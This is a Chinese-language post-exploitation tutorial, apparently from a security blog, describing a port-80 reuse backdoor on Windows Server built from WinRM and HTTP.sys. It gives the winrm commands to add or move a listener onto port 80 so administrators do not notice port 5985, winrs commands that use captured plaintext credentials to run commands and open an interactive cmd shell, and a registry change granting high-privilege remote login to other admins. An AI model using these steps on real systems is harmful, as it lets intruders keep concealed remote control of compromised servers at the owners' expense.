[后渗透]Windows server 80端口复用后门

0x01 简介

该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。

具体细节信息请参考:https://paper.seebug.org/1004/

0x02 复现

2.1 环境信息

此次的后门连接是需要目标服务器的高权用户的明文密码的,需要先抓取相应的明文密码才可部署后门:

首先查看目标服务器时候能够正常使用WinRM服务:

[后渗透]Windows server 80端口复用后门

在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。

对于Windows 2008来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是winrm quickconfig -q,这条命令运行后会自动添加防火墙例外规则,放行5985端口。

2.2 复用80端口

目标服务器本身是存在IIS服务器的,开放端口也是默认的80端口:

[后渗透]Windows server 80端口复用后门

对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。

使用下面这条命令即可新增一个80端口的listener

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

[后渗透]Windows server 80端口复用后门

[后渗透]Windows server 80端口复用后门

对于安装Windows 2012及以上版本操作系统的服务器来讲,只需要这一条命令即可实现端口复用。

这种情况下,老的5985端口listener还保留着:

[后渗透]Windows server 80端口复用后门

当目标服务器上,本省并未启用WinRM服务的话,那么需要把默认的5985端口修改成web服务端口80,否则管理员上来看到一个5985端口就可能起疑心。

通过下面这条命令即可修改端口为80

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

[后渗透]Windows server 80端口复用后门

这种情况下,管理员查看端口也看不到5985开放,只开放80端口:

[后渗透]Windows server 80端口复用后门

经过配置之后,WinRM已经在80端口上监听了一个listener,与此同时,IIS的web服务也能完全正常运行。

2.3 后门的使用

本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

开启WinRM客户端后,使用winrs命令即可连接远程WinRM服务执行命令(这里的账号密码即是目标服务器本地存在的用户)

winrs -r:http://192.168.126.133 -u:administrator -p:admin123. ipconfig

上述命令会在远程机器上执行ipconfig命令,获取结果后直接退出

[后渗透]Windows server 80端口复用后门

将ipconfig命令换成cmd即可获取一个交互式的shell:

winrs -r:http://192.168.126.133 -u:administrator -p:admin123. cmd

[后渗透]Windows server 80端口复用后门

0x03 非管理员用户

WinRM服务是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后,普通管理员登录后也是高权限。

[后渗透]Windows server 80端口复用后门

0x04 参考链接

https://paper.seebug.org/1004/

上一篇:设置SharePoint部门站点各个文件夹的权限


下一篇:为何不能在viewDidLoad方法中显示其他视图